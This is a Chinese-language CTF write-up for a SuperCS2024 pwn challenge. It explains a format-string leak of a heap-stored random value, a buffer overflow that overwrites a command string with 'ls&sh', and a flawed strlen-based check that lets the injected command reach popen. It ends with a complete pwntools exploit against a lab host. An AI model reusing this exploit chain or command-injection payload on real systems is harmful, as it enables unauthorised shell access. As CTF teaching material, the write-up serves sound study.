记SuperCS2024Pwn方向一次有意思的getshell

中等汽车驾驶助手

  • 代码审计这里是个固定加密,没什么用,这里可以通过两次ls来让input_times>2绕过这个加密

  • 这里有个格式化字符串漏洞,可以利用%8$s泄露出rand,但是需要注意要p.recv(10),调试的时候发现这个存到堆上的不只是8个字节,又因为strcmp是遇到\x00停止,所以需要用p.recv(10)接受堆上\x00前所有数据作为随机数

  • 发现只要是在s1中,就可以执行popen函数

  • 下面思考如何覆盖s1为一个sh命令,发现buf的长度是有溢出的,同时下面的s1[k]=buf[k]是根据读入的len进行赋值,那么就可以覆盖s1为一个sh命令,但是注意到这里有个检查

  • 传进来的就是v6,发现会用v6和s1中内容进行检查,但是注意到j < strlen((const char )(6 (i - v4) + a1));是根据v6的长度进行每个字节比较,所以会有一种情况,其他的都不变,然后v6是ls\x00,但是我们已经覆盖s1为ls&sh\x00,可以绕过检查,同时将ls&sh\x00添加到commandlist,之后就能拿到shell

  • 完整exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('192.168.18.22',9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#b *$rebase(0x14F5)
def dbg():
    gdb.attach(p,'b *$rebase(0x1B8F)')
    pause()

#f1lta03uealpv437rsqg3abebc305d44a27eyPqT7a120XGMiZbNsIHSQr8UAW9wYFcE6BtODgoK5jeuJxnV3plvkz4mCfdautumn
# dbg()
p.recvuntil("\nCommands: ")
p.sendline('ls')
p.recvuntil('Executing: ')
p.sendline('ls')
p.recvuntil('Executing: ')
p.sendline('%8$s')
p.recvuntil('Executing: ')
num=p.recv(10)
print('num:',num)

p.sendline(num)

p.sendline('queue\00clear\x00exit\00\00ls&sh')
p.sendline('ls&sh')

p.interactive()
附件:
0 条评论
某人
表情
可输入 255